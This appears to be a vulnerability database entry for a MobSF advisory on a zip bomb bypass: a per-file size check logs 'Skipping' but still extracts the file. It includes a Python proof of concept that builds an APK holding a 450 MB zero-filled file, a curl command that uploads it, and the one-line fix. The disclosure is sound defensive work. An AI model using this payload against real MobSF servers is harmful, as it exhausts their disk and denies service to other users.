VDB
KO
MEDIUM 4.9

GHSA-x768-8642-mmq9

MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction

Quick fix

GHSA-x768-8642-mmq9 — mobsf: upgrade to the fixed version with the command below.

pip install --upgrade 'mobsf>=4.5.1'

Details

### Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed `ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) and logs "Skipping" — but the code lacks a `continue` statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

### Verified Impact (Code Audit)

The vulnerable code path in `shared_func.py` lines 153–182:

```python # Line 156: Size check if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE: size_mb = fileinfo.file_size / (1024 * 1024) msg = (f'File too large ({size_mb:.2f} MB). Skipping ' f'{sanitize_for_logging(file_path)}') logger.warning(msg) # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate) if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE: raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue') if fileinfo.is_dir(): continue else: fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES try: zipptr.extract(file_path, ext_path) # ← Runs regardless of size check ```

The control flow is clear: after the size check logs "Skipping", no `continue` or `break` is issued. The code proceeds to line 182 which extracts the file unconditionally.

### Steps to Reproduce

**1.** Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

```python #!/usr/bin/env python3 import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk') with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>') # 450 MB file (exceeds 400 MB limit) — compresses to ~KB info = zipfile.ZipInfo('assets/huge.bin') info.compress_type = zipfile.ZIP_DEFLATED with zf.open(info, 'w') as f: for _ in range(450): f.write(b'\x00' * (1024 * 1024)) # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)") ```

**2.** Upload via API:

```bash curl -X POST http://127.0.0.1:8000/api/v1/upload \ -H "X-Mobsf-Api-Key: YOUR_KEY" \ -F "file=@poc.apk" ```

**3.** Trigger scan, then verify:

```bash # Log says "Skipping" but file exists on disk: grep "File too large" ~/.MobSF/debug.log ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there ```

### Why This Is Not a Self-Bug

- This affects any user who scans a maliciously crafted APK - The APK could come from a legitimate-looking package submitted for security review - Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists - Impact: disk exhaustion preventing further scans for other users

### Remediation

Add `continue` after the size warning:

```python if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE: size_mb = fileinfo.file_size / (1024 * 1024) msg = (f'File too large ({size_mb:.2f} MB). Skipping ' f'{sanitize_for_logging(file_path)}') logger.warning(msg) continue # ← ADD THIS LINE ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / mobsf
Introduced in: 0 Fixed in: 4.5.1
Fix pip install --upgrade 'mobsf>=4.5.1'

References